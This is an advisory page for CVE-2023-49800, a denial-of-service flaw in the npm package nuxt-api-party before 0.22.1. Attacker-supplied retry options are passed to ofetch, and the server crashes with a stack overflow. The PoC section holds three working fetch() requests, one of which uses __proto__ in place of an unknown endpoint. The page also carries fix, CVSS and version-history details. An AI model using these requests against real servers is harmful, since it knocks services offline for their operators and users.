High

DOS by abusing `fetchOptions.retry`.

Disclosed: 11.12.2023
Updated: 11.10.2026 10:22

Summary

nuxt-api-party allows developers to proxy requests to an API without exposing credentials to the client. ofetch is used to send the requests.

The library allows the user to send many options directly to ofetch. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.

Details

fetchOptions are obtained directly from the request body. These are then passed directly into ofetch .

We can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively.

PoC

POC using Node.

await fetch("http://localhost:3000/api/__api_party/MyEndpoint", {
    method: "POST",
    body: JSON.stringify({ path: "x:x", retry: 9999999 }),
    headers: { "Content-Type": "application/json" }
})

We can use __proto__ as a substitute for the endpoint if it is not known.

await fetch("http://localhost:3000/api/__api_party/__proto__", {
    method: "POST",
    body: JSON.stringify({ path: "x:x", retry: 9999999 }),
    headers: { "Content-Type": "application/json" }
})

We can build the size of the stack faster by using more complicated URIs

await fetch("http://localhost:3000/api/__api_party/__proto__", {
    method: "POST",
    body: JSON.stringify({ path: "data:x;base64,----", retry: 9999999 }),
    headers: { "Content-Type": "application/json" }
})

Impact

Full DOS, server is unusable during attack. Requires a single request.

Fix

Limit which options can be passed to ofetch.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	nuxt-api-party	< 0.22.1	0.22.1

References

CVSS score 7.5/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE): CWE-400, CWE-787
Platform: npm
Package: nuxt-api-party
Disclosed: 11.12.2023
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-q6hx-3m4p-749h - CC BY 4.0

Vulnerability history: nuxt-api-party

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 2
First → latest: 12.2023 12.2023
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

High 2

Disclosures per year

2023: 2
2024: 0
2025: 0
2026: 0

12.12.2023

SSRF & Credentials Leak

High · 7.5 CVE-2023-49799 < 0.22.0 0.22.0
11.12.2023

DOS by abusing `fetchOptions.retry`. this entry

High · 7.5 CVE-2023-49800 < 0.22.1 0.22.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application